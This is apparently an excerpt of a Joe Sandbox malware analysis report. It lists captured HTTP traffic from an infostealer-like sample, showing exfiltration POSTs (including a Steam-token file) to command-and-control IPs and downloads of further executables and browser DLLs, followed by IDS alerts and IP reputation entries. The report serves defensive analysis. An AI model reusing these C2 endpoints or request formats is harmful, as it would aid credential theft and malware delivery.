form-data; name="token"5edba3af17a9a950b903ebebc5c2167f530a6411ff003a42cf929224e1b94a04895c0f73------EBFBFBFIIJDAKECAKKJEContent-Disposition: form-data; name="message"files------EBFBFBFIIJDAKECAKKJE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KECGDBFCBKFIDHIDHDHIHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 64 62 61 33 61 66 31 37 61 39 61 39 35 30 62 39 30 33 65 62 65 62 63 35 63 32 31 36 37 66 35 33 30 61 36 34 31 31 66 66 30 30 33 61 34 32 63 66 39 32 39 32 32 34 65 31 62 39 34 61 30 34 38 39 35 63 30 66 37 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 2d 2d 0d 0a Data Ascii: ------KECGDBFCBKFIDHIDHDHIContent-Disposition: form-data; name="token"5edba3af17a9a950b903ebebc5c2167f530a6411ff003a42cf929224e1b94a04895c0f73------KECGDBFCBKFIDHIDHDHIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KECGDBFCBKFIDHIDHDHIContent-Disposition: form-data; name="file"------KECGDBFCBKFIDHIDHDHI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHJECFCGHIDGHIDHDHIEHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 64 62 61 33 61 66 31 37 61 39 61 39 35 30 62 39 30 33 65 62 65 62 63 35 63 32 31 36 37 66 35 33 30 61 36 34 31 31 66 66 30 30 33 61 34 32 63 66 39 32 39 32 32 34 65 31 62 39 34 61 30 34 38 39 35 63 30 66 37 33 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 2d 2d 0d 0a Data Ascii: ------DHJECFCGHIDGHIDHDHIEContent-Disposition: form-data; name="token"5edba3af17a9a950b903ebebc5c2167f530a6411ff003a42cf929224e1b94a04895c0f73------DHJECFCGHIDGHIDHDHIEContent-Disposition: form-data; name="message"ybncbhylepme------DHJECFCGHIDGHIDHDHIE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFBKKFBAEGDHJJJJKFBKHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 64 62 61 33 61 66 31 37 61 39 61 39 35 30 62 39 30 33 65 62 65 62 63 35 63 32 31 36 37 66 35 33 30 61 36 34 31 31 66 66 30 30 33 61 34 32 63 66 39 32 39 32 32 34 65 31 62 39 34 61 30 34 38 39 35 63 30 66 37 33 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 2d 2d 0d 0a Data Ascii: ------AFBKKFBAEGDHJJJJKFBKContent-Disposition: form-data; name="token"5edba3af17a9a950b903ebebc5c2167f530a6411ff003a42cf929224e1b94a04895c0f73------AFBKKFBAEGDHJJJJKFBKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AFBKKFBAEGDHJJJJKFBK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 30 36 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001066001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Wed, 23 Oct 2024 22:45:40 GMTIf-None-Match: "67197c94-1b9c00"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 30 3d 31 30 30 31 30 36 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1001067001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 30 36 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001068001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCFHDAKECFIDGDGDBKJHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 46 36 30 36 38 42 39 44 35 41 32 36 39 39 32 39 33 31 33 30 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 2d 2d 0d 0a Data Ascii: ------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="hwid"BF6068B9D5A2699293130------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="build"doma------EGCFHDAKECFIDGDGDBKJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 30 36 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001069001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDHCGHDHIDHCBGCBGCAEHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 46 36 30 36 38 42 39 44 35 41 32 36 39 39 32 39 33 31 33 30 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 2d 2d 0d 0a Data Ascii: ------HDHCGHDHIDHCBGCBGCAEContent-Disposition: form-data; name="hwid"BF6068B9D5A2699293130------HDHCGHDHIDHCBGCBGCAEContent-Disposition: form-data; name="build"doma------HDHCGHDHIDHCBGCBGCAE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDHDHIECGCAEBFIIDHIHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 46 36 30 36 38 42 39 44 35 41 32 36 39 39 32 39 33 31 33 30 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 2d 2d 0d 0a Data Ascii: ------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="hwid"BF6068B9D5A2699293130------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="build"doma------EHDHDHIECGCAEBFIIDHI--

IP address seen in connection with other malware

Source: Joe Sandbox View	IP Address: 104.21.53.8 104.21.53.8
Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43

Internet Provider seen in connection with other malware

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Suricata IDS alerts with low severity for network traffic

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49737 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49713 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49989 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49992 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49995 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49999 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49999 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:50041 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe

Code function: 4_2_6C69CC60 PR_Recv,

4_2_6C69CC60

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Wed, 23 Oct 2024 22:45:40 GMTIf-None-Match: "67197c94-1b9c00"
